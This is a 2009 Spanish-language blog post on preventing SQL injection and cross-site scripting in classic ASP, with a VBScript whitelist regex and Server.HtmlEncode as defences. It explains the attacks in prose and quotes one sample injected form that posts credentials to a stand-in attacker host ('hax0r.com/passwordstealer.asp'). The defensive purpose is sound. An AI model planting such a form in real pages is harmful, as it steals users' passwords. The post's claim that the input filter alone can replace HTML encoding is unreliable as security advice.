jueves, 19 de noviembre de 2009

Precauciones Básicas para Evitar Ataques Web en ASP

Repasamos algunos conceptos de seguridad web básicos y recorriendo la web comentamos algunas soluciones para evitar ataques en aplicaciones web desarrolladas con ASP.

Como toda falla de seguridad, la tecnología que se desarrolla antes de que se popularice la falla, es víctima segura de la misma. En el caso de ASP es así, recién en ASP .Net se toma conciencia de las fallas de seguridad habituales en SQL y JavaScript y se implementan medidas incluidas por defecto, por lo menos en las librerías.

Las principales fallas que afectan a ASP son las que afectan a la mayoría de las aplicaciones web, son de inyección de código JavaScript y código SQL dentro de los datos enviados a la aplicación. La inyección de código dentro de datos enviados a programas es una categoría central de fallas de seguridad. En el caso clásico de aplicaciones nativas se inyecta código máquina dentro de datos enviados a servidores programados en C/C++ o dentro de datos multimedia para ataques clientes web o correo programados también en C/C++.

En el caso de una falla de inyección SQL la ejecución de una sentencia SQL en el servidor puede ser afectada o desviada mediante datos provistos por el usuario. Usualmente al mezclarse la sentencia SQL en forma de string de caracteres con la entrada provista por el usuario/atacante, este último puede escapar de la sentencia SQL con algún tipo de caracter como comilla simple o doble y luego agregar SQL a la sentencia existente o ejecutar una sentencia distinta (por ejemplo con ";" en el MS SQL Server). Luego el impacto habitual es pasar alrededor la autenticación entrando como administrador al sistema o listando la lista de usuario, aunque también dependiendo de los permisos de la base de datos SQL se pueden llegar a modificar tablas de datos o ejecutar comandos de la consola de sistema [1].

Las inyecciones de JavaScript, también conocidas como XSS o Cross-site Scripting parecen mas inofensivas porque afectan en principio a los navegadores web cliente de los usuarios, pero aparte de servir para robar credenciales de los usuarios pueden servir para sobrecargar al servidor con peticiones. Se inyecta JavaScript en los datos y estos son reflejados en el HTML que se devuelve, entonces si la inyección se puede persistir o se puede reproducir con un URL (XSS de petición GET), entonces las víctimas pueden acceder al mismo y de ellas se podría eventualmente robar sus cookies de sesión. Para el caso de peticiones POST alcanza con dirigir a las víctimas al dominio "notanevilhacker.org" y de ahi andar el POST con el XSS al dominio "vulnerable.org" para robar credenciales [2].

En general la mejorar manera de evitar la inyecciones SQL es depurando la entrada de datos. Por ejemplo se puede solamente dejar pasar (lista blanca o white-listing) los datos alfanuméricos en ASP con el siguiente código [3]. En este caso se filtra el complemento alfanumérico con "^". Hay que incluir letras con acentos que se usan en el español posiblemente, que no están en este ejemplo. Destaquemos que siempre es preferible el white-listing antes que el black-listing, por que en el último caso se puede escapar algún caso no filtrado por la tangente, ergo, se nos escapa la tortuga de la seguridad por algun caso no cubierto.
'Crear un objeto expresion regular
Dim regEx
Set regEx = New RegExp

'Esta propiedad global le dice al moto de RegEx que busque TODAS las
'subcadenas, en vez de la primera aparicion. Tiene que ser true.
regEx.Global = true

'Nuestro patron dice que tenemos que buscar en el string... En este caso
'buscamos cosas que no sean alfanumericas...
regEx.Pattern = "[^0-9a-zA-Z]"

'Usamos la funcion de reemplazo de RegEx para limpiar el username. La funcion
'de reemplazo toma un string para buscar (usando el patron de arriba como criterio=
'y la string que va a reemplazarla.
'En este caso, queremos reemplazar con nada, porque los caracteres no
'alfanumericos son los que queremos quitar.
dim username
username = regEx.Replace(request.form("UserName"), "")
Para el caso de los XSS si es una entrada de usuario que incluye caracteres no alfanuméricos lo mejor es codificar la entrada para que sea interpretada como datos en el HTML de vuelta, y no como HTML en si mismo. En ASP la función que provee esta funcionalidad es "Server.HtmlEncode" [4].

Por ejemplo se reemplaza la entrada maliciosa:
</form>
<form method="POST"
action="www.hax0r.com/passwordstealer.asp">
Por:
&lt;/form&gt;&lt;form
method="POST"
action="www.hax0r.com/passwordstealer.asp"&gt;
Podemos observar que si aparecen los dos tipos de vulnerabilidades juntas como el filtrado para evitar inyecciones SQL es mas restrictivo seguramente alcance con aplicar eso y no la codificación para HTML. Si ya fuimos víctimas de un ataque lo mejor es tratar de eliminar código remanente JavaScript malicioso en la base de datos [5].

No hay comentarios:

Publicar un comentario